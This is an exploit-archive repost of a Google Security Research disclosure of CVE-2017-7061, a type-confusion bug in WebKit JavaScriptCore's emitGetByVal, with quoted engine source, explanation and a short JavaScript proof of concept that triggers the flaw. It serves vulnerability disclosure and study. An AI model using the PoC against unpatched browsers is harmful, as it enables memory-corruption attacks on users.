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WebKit JSC BytecodeGenerator::emitGetByVal Incorrect Optimization

WebKit JSC BytecodeGenerator::emitGetByVal Incorrect Optimization
Posted Sep 12, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from an incorrect optimization in BytecodeGenerator::emitGetByVal.

tags | exploit
advisories | CVE-2017-7061
MD5 | a195e7052be8a79b7fc787ec9487bbaf

WebKit JSC BytecodeGenerator::emitGetByVal Incorrect Optimization

Change Mirror Download
 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal 

CVE-2017-7061


Let's start with JS code.

let o = {};
for (let i in {xx: 0}) {
o[i]; <<-------- (a)
}

When the code generator meets (a), it will call BytecodeGenerator::emitGetByVal.

Here's the code of BytecodeGenerator::emitGetByVal.

RegisterID* BytecodeGenerator::emitGetByVal(RegisterID* dst, RegisterID* base, RegisterID* property)
{
for (size_t i = m_forInContextStack.size(); i > 0; i--) {
ForInContext& context = m_forInContextStack[i - 1].get();
if (context.local() != property)
continue;

if (!context.isValid())
break;

if (context.type() == ForInContext::IndexedForInContextType) {
property = static_cast<IndexedForInContext&>(context).index();
break;
}

ASSERT(context.type() == ForInContext::StructureForInContextType);
StructureForInContext& structureContext = static_cast<StructureForInContext&>(context);
UnlinkedValueProfile profile = emitProfiledOpcode(op_get_direct_pname);
instructions().append(kill(dst));
instructions().append(base->index());
instructions().append(property->index());
instructions().append(structureContext.index()->index());
instructions().append(structureContext.enumerator()->index());
instructions().append(profile);
return dst;
}

UnlinkedArrayProfile arrayProfile = newArrayProfile();
UnlinkedValueProfile profile = emitProfiledOpcode(op_get_by_val);
instructions().append(kill(dst));
instructions().append(base->index());
instructions().append(property->index());
instructions().append(arrayProfile);
instructions().append(profile);
return dst;
}

The method uses op_get_by_val to handle expressions like "o[i]". But, there is a fast path, which uses op_get_direct_pname, for when the index variable is a string. op_get_direct_pname is designed for a string index only. So if other types are used as indexes, it will cause type confusions. In the above JS code, it's very clear that "i" will be a string("xx") semantically. Therefore, it will use op_get_direct_pname to handle it.

Here's another example.

let o = {};
for (let i in {xx: 0}) {
o[i]; <<-------- (a)
i = 0x123456; <<-------- (b)
o[i]; <<-------- (c)
}

In this case, it will use op_get_direct_pname at (a). And at (b), since the index variable "i" is replaced, the invalidate method of the ForInContext object that makes "context.isValid()" return false is called. So, op_get_by_val will be used at (c).

But the problem is that it can't properly handle the following case which cause a type confusion.

let o = {};
for (let i in {xx: 0}) {
for (let j = 0; j < 2; j++) {
o[i]; // When j == 1, op_get_direct_pname was already emitted, but i is not a string anymore.
i = 0;
}
}

PoC:
let o = {};
for (let i in {xx: 0}) {
for (let j = 0; j < 2; j++) {
o[i];
i = new Uint32Array([0, 1, 0x777777, 0, 0]);
}
}



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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